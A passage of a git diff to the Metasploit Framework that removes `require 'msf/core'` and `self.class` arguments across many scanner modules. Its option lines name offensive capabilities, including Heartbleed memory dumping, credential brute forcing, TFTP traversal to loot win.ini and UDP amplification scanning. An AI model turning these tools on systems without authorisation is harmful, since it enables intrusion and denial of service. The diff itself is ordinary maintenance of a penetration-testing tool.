OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true]) - ], self.class) + ]) deregister_options('MAILTO','MAILFROM') end diff --git a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb index e259235d43..f3f41f12a4 100644 --- a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb +++ b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(25), OptString.new('EHLO_DOMAIN', [ true, 'The domain to send with the EHLO command', 'localhost' ]), - ], self.class) + ]) deregister_options('MAILTO', 'MAILFROM') end diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index cc85ccee35..fbb78fe329 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptBool.new('EXTENDED', [true, 'Do all the 16 extended checks', false]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/smtp/smtp_version.rb b/modules/auxiliary/scanner/smtp/smtp_version.rb index 6e6369efe3..381559ce0c 100644 --- a/modules/auxiliary/scanner/smtp/smtp_version.rb +++ b/modules/auxiliary/scanner/smtp/smtp_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb index e75cd693f7..8e778308a0 100644 --- a/modules/auxiliary/scanner/snmp/aix_version.rb +++ b/modules/auxiliary/scanner/snmp/aix_version.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb index 91efc6d3b9..80da568dcc 100644 --- a/modules/auxiliary/scanner/snmp/arris_dg950.rb +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb index 7921276cb0..de22a138fc 100644 --- a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb +++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb b/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb index 8d96121699..e048ce2e18 100644 --- a/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb +++ b/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb index f0c7d77486..3c97f80b76 100644 --- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient @@ -32,8 +30,8 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptEnum.new("SOURCE", [true, "Grab the startup (3) or running (4) configuration", "4", ["3","4"]]), OptString.new('OUTPUTDIR', [ false, "The directory where we should save the configuration files (disabled by default)"]), - OptAddress.new('LHOST', [ false, "The IP address of the system running this module" ]) - ], self.class) + OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]) + ]) end diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb index 0a7f640504..63da06c032 100644 --- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb +++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient @@ -30,8 +28,8 @@ class MetasploitModule < Msf::Auxiliary ) register_options([ OptPath.new('SOURCE', [true, "The filename to upload" ]), - OptAddress.new('LHOST', [ false, "The IP address of the system running this module" ]) - ], self.class) + OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]) + ]) end # diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb index 8af295c94c..48217a9c6d 100644 --- a/modules/auxiliary/scanner/snmp/netopia_enum.rb +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 1e09a58b45..ea0af3bbae 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index ee6725b32a..edaeab750c 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb index 596b5b508b..c4c0145798 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb index 55ea5142b4..b8942dc486 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb index e763078560..6a7c599542 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index ecc44d8fac..dbb5dd9b6d 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasploit/framework/community_string_collection' require 'metasploit/framework/login_scanner/snmp' @@ -36,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing communities, one per line", File.join(Msf::Config.data_directory, "wordlists", "snmp_default_pass.txt") ]) - ], self.class) + ]) deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE') end diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb index bf88ec862c..2b6d0fce54 100644 --- a/modules/auxiliary/scanner/snmp/snmp_set.rb +++ b/modules/auxiliary/scanner/snmp/snmp_set.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('OID', [ true, "The object identifier (numeric notation)"]), OptString.new('OIDVALUE', [ true, "The value to set"]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb index 573424c908..cc0ba0782d 100644 --- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb index c9530ef9e9..4faadb2ff4 100644 --- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient diff --git a/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb b/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb index 5221ef0197..7ed8b877b6 100644 --- a/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb +++ b/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb index ef389b824f..cd127bff23 100644 --- a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/ssh/detect_kippo.rb b/modules/auxiliary/scanner/ssh/detect_kippo.rb index 9d260001ec..3796014f7d 100644 --- a/modules/auxiliary/scanner/ssh/detect_kippo.rb +++ b/modules/auxiliary/scanner/ssh/detect_kippo.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/scanner/ssh/karaf_login.rb b/modules/auxiliary/scanner/ssh/karaf_login.rb index 723e085d0f..a91bf09e36 100644 --- a/modules/auxiliary/scanner/ssh/karaf_login.rb +++ b/modules/auxiliary/scanner/ssh/karaf_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' require 'metasploit/framework/login_scanner/ssh' require 'metasploit/framework/credential_collection' diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb index 3e957a80c9..07c098488c 100644 --- a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index f17bb881de..ffff74e390 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' require 'sshkey' # TODO: Actually include this! require 'net/ssh/pubkey_verifier' diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 5482a6c712..de9d1d527f 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' require 'net/ssh/command_stream' require 'metasploit/framework/login_scanner/ssh' diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index a0e6c3b91f..b55dbb35ba 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' require 'metasploit/framework/login_scanner/ssh' require 'metasploit/framework/credential_collection' diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 2f64059d2f..32c211e531 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'recog' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb index 9431875ba8..1bde7ee245 100644 --- a/modules/auxiliary/scanner/ssl/openssl_ccs.rb +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -108,7 +106,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) - ], self.class) + ]) end def response_timeout diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 854d0e8969..fe6d38ca64 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -9,8 +9,6 @@ # TODO: Parse the rest of the server responses and return a hash with the data # TODO: Extract the relevant functions and include them in the framework -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -160,13 +158,13 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]), OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) - ], self.class) + ]) register_advanced_options( [ OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]), OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb index e82b1bc79f..02605c7ae4 100644 --- a/modules/auxiliary/scanner/steam/server_info.rb +++ b/modules/auxiliary/scanner/steam/server_info.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/steam' class MetasploitModule < Msf::Auxiliary @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(27015) - ], self.class) + ]) end def build_probe diff --git a/modules/auxiliary/scanner/telephony/wardial.rb b/modules/auxiliary/scanner/telephony/wardial.rb index 8b07f815ee..357a14a5ad 100644 --- a/modules/auxiliary/scanner/telephony/wardial.rb +++ b/modules/auxiliary/scanner/telephony/wardial.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' @@ -53,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('DIALPREFIX', [true, 'Dial Prefix', 'ATDT']), OptString.new('INITSTRING', [true, 'Initialization String', 'AT X6 S11=80']), OptString.new('SERIALPORT', [true, 'Serial Port (e.g. 0 (COM1), 1 (COM2), /dev/ttyS0, etc.)', '/dev/ttyS0']), - ], self.class) + ]) register_advanced_options( [ @@ -72,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary OptEnum.new( 'Parity', [false, 'Parity (Mark & Space are Windows Only)', 'None', ['None', 'Even', 'Odd', 'Mark', 'Space'], 'None']), OptBool.new( 'RedialBusy', [false, 'Redials numbers found to be busy', false]), OptEnum.new( 'StopBits', [true, 'Stop Bits', '1', ['1', '2'], '1']), - ], self.class) + ]) deregister_options('NUMBER') deregister_options('RPORT') diff --git a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb index 117ab45ab4..f04499dfb8 100644 --- a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb +++ b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/telnet' diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index 86c676b14e..d863e521d1 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary Opt::CHOST, Opt::RPORT(30718), OptBool.new('CHECK_TCP', [false , 'Check TCP instead of UDP', false]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb index 116f8f6752..2047041f4d 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(9999), OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]) - ], self.class) + ]) deregister_options('USERNAME','PASSWORD') end diff --git a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb index b7d336428a..21c4d4dcb2 100644 --- a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb +++ b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(23), OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]) - ], self.class) + ]) end def to diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 3365467533..a0c5dc7c37 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/telnet' diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index de3d1de097..0114666bf8 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(23), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']), OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 55043b4e2e..53a3dfbc12 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Telnet @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(23), OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]) - ], self.class) + ]) end def to diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index 21b13ad5ce..073af81ea7 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(69), OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), OptBool.new('SAVE', [false, 'Save the downloaded file to disk', false]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb index eaef1b8f21..14053f7814 100644 --- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(69), OptInt.new('DEPTH', [false, "Levels to reach base directory",1]), OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb index 3012f9401c..c3c0e681b9 100644 --- a/modules/auxiliary/scanner/tftp/tftpbrute.rb +++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary Opt::CHOST, OptPath.new('DICTIONARY', [ true, 'The list of filenames', File.join(Msf::Config.data_directory, "wordlists", "tftp.txt") ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/udp/udp_amplification.rb b/modules/auxiliary/scanner/udp/udp_amplification.rb index 35e43c0498..8daa328212 100644 --- a/modules/auxiliary/scanner/udp/udp_amplification.rb +++ b/modules/auxiliary/scanner/udp/udp_amplification.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::DRDoS include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/udp_scanner_template.rb b/modules/auxiliary/scanner/udp_scanner_template.rb index 8253611195..d05c8fd5b9 100644 --- a/modules/auxiliary/scanner/udp_scanner_template.rb +++ b/modules/auxiliary/scanner/udp_scanner_template.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner @@ -31,13 +29,13 @@ class MetasploitModule < Msf::Auxiliary [ # TODO: change to the port you need to scan Opt::RPORT(12345) - ], self.class) + ]) # TODO: add any advanced, special options here, otherwise remove register_advanced_options( [ OptBool.new('SPECIAL', [true, 'Try this special thing', false]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb index b5854af7e8..df1ca06fc8 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_amp.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Capture @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(1900), OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index 99777f99e4..a3e0f273c7 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -21,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1900), OptBool.new('REPORT_LOCATION', [true, 'This determines whether to report the UPnP endpoint service advertised by SSDP', false ]) - ], self.class) + ]) end def rport diff --git a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb index c99ec74bb6..01e4e5ae95 100644 --- a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb +++ b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/varnish' require 'metasploit/framework/tcp/client' @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(6082), OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) - ], self.class) + ]) # We don't currently support an auth mechanism that uses usernames, so we'll ignore any # usernames that are passed in. diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb index 753d309f50..f342e36371 100644 --- a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb +++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options([Opt::RPORT(443), OptString.new('URI', [false, 'The uri path to test against' , '/sdk']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb index 2fb1b357e9..bf57876b81 100644 --- 